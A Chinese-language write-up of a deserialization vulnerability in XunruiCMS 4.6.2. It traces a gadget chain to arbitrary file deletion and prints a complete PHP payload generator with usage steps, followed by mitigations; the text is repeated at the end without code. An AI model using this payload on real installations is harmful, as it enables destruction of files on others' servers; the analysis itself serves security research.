Xunruicms反序列化漏洞利用链挖掘过程
字数 1449 2025-08-18 17:33:34

XunruiCMS 4.6.2 反序列化漏洞分析与利用

漏洞概述

XunruiCMS 4.6.2及以下版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现任意文件删除。该漏洞位于dr_string2array函数中,由于对用户输入数据的不安全反序列化操作导致。

漏洞分析

漏洞点定位

漏洞核心位于文件\xunruicms\dayrui\Fcms\Core\Helper.php中的dr_string2array函数:

function dr_string2array($data, $limit = '') {
    if (!$data) {
        return [];
    } elseif (is_array($data)) {
        $rt = $data;
    } else {
        $rt = json_decode($data, true);
        if (!$rt) {
            $rt = unserialize(stripslashes($data));
        }
    }
    if (is_array($rt) && $limit) {
        return dr_arraycut($rt, $limit);
    }
    return $rt;
}

关键问题:

  1. 函数首先尝试json_decode,失败后会进入unserialize
  2. unserialize前使用了stripslashes函数处理数据
  3. 可以通过将\改为\\来绕过stripslashes的影响

传参入口

通过搜索dr_string2array函数的调用,发现可利用的入口在\xunruicms\dayrui\Fcms\Control\Admin\Field.phpimport_add方法:

public function import_add() {
    if (IS_POST) {
        $code = $this->input->post('code');
        $arr = explode("\r\n", $code);
        if (!$arr) {
            $this->_json(0, 'code参数为空');
        }
        foreach ($arr as $t) {
            $data = dr_string2array($t);
            // ...
        }
    }
}

访问路径:

http://127.0.0.1/admin3a609e1d6cff.php?c=field&m=import_add

需要管理员权限才能访问。

利用链分析

反序列化起点

通过分析__destruct方法寻找可利用点,共找到5个:

  1. 第一个__destruct:需要$this->memcachedMemcachedMemcache实例,利用空间有限
  2. 第二个__destruct:需要$this->SMTPConnect是资源类型,利用空间有限
  3. 第三个__destruct:调用self::wipeDirectory,可能导致文件删除
  4. 第四个__destruct:仅释放变量,无利用价值
  5. 第五个__destruct:调用$this->redis->close(),有较大利用空间

利用链构建

选择第五个__destruct作为起点,构建利用链:

  1. RedisHandler::__destruct() -> $this->redis->close()
  2. 控制$this->redisMemcachedHandler实例
  3. MemcachedHandler::close() -> $this->memcached->delete($this->lockKey)
  4. 控制$this->memcachedFileHandler实例
  5. FileHandler::delete() -> 任意文件删除

关键点:

  • FileHandler::delete()中的$key参数可控
  • $this->path可控,可以是绝对或相对路径
  • validateKey方法对$key的处理不会影响文件删除操作

漏洞利用

利用条件

  1. 获取管理员权限
  2. PHP版本7.4+(因PHP7.1+对属性类型不敏感)

EXP构造

<?php
namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
use CodeIgniter\Session\Handlers\MemcachedHandler;

class RedisHandler extends BaseHandler {
    public $redis;
    public function __construct() {
        $this->redis = new MemcachedHandler();
    }
}

namespace CodeIgniter\Session\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;
use CodeIgniter\Cache\Handlers\FileHandler;

class MemcachedHandler extends BaseHandler {
    public $memcached;
    public $lockKey;
    public function __construct() {
        $this->memcached = new FileHandler();
        $this->lockKey = "1.txt"; // 要删除的文件名
    }
}

namespace CodeIgniter\Session\Handlers;
abstract class BaseHandler {}

namespace CodeIgniter\Cache\Handlers;
use CodeIgniter\Session\Handlers\BaseHandler;

class FileHandler extends BaseHandler {
    public $path;
    public function __construct() {
        $this->path = "./"; // 文件路径
    }
}

use CodeIgniter\Cache\Handlers\RedisHandler;
$str = serialize(new RedisHandler());
$newStr = str_replace('\\', '\\\\', $str);
echo urlencode($newStr)."\n";
?>

利用步骤

  1. 构造上述EXP生成payload
  2. 以管理员身份登录系统
  3. 访问/admin3a609e1d6cff.php?c=field&m=import_add
  4. POST提交code参数,值为生成的payload
  5. 系统将删除指定路径下的文件

防御措施

  1. 避免直接反序列化用户输入
  2. 使用白名单验证反序列化数据
  3. 更新到最新版本XunruiCMS
  4. 限制管理员后台访问权限

总结

该漏洞通过精心构造的反序列化链实现了任意文件删除,危害较大。开发人员应重视反序列化操作的安全性,避免直接处理不可信数据。系统管理员应及时更新系统并严格控制后台访问权限。

XunruiCMS 4.6.2 反序列化漏洞分析与利用 漏洞概述 XunruiCMS 4.6.2及以下版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现任意文件删除。该漏洞位于 dr_string2array 函数中,由于对用户输入数据的不安全反序列化操作导致。 漏洞分析 漏洞点定位 漏洞核心位于文件 \xunruicms\dayrui\Fcms\Core\Helper.php 中的 dr_string2array 函数: 关键问题: 函数首先尝试 json_decode ,失败后会进入 unserialize unserialize 前使用了 stripslashes 函数处理数据 可以通过将 \ 改为 \\ 来绕过 stripslashes 的影响 传参入口 通过搜索 dr_string2array 函数的调用,发现可利用的入口在 \xunruicms\dayrui\Fcms\Control\Admin\Field.php 的 import_add 方法: 访问路径: 需要管理员权限才能访问。 利用链分析 反序列化起点 通过分析 __destruct 方法寻找可利用点,共找到5个: 第一个 __destruct :需要 $this->memcached 是 Memcached 或 Memcache 实例,利用空间有限 第二个 __destruct :需要 $this->SMTPConnect 是资源类型,利用空间有限 第三个 __destruct :调用 self::wipeDirectory ,可能导致文件删除 第四个 __destruct :仅释放变量,无利用价值 第五个 __destruct :调用 $this->redis->close() ,有较大利用空间 利用链构建 选择第五个 __destruct 作为起点,构建利用链: RedisHandler::__destruct() -> $this->redis->close() 控制 $this->redis 为 MemcachedHandler 实例 MemcachedHandler::close() -> $this->memcached->delete($this->lockKey) 控制 $this->memcached 为 FileHandler 实例 FileHandler::delete() -> 任意文件删除 关键点: FileHandler::delete() 中的 $key 参数可控 $this->path 可控,可以是绝对或相对路径 validateKey 方法对 $key 的处理不会影响文件删除操作 漏洞利用 利用条件 获取管理员权限 PHP版本7.4+(因PHP7.1+对属性类型不敏感) EXP构造 利用步骤 构造上述EXP生成payload 以管理员身份登录系统 访问 /admin3a609e1d6cff.php?c=field&m=import_add POST提交 code 参数,值为生成的payload 系统将删除指定路径下的文件 防御措施 避免直接反序列化用户输入 使用白名单验证反序列化数据 更新到最新版本XunruiCMS 限制管理员后台访问权限 总结 该漏洞通过精心构造的反序列化链实现了任意文件删除,危害较大。开发人员应重视反序列化操作的安全性,避免直接处理不可信数据。系统管理员应及时更新系统并严格控制后台访问权限。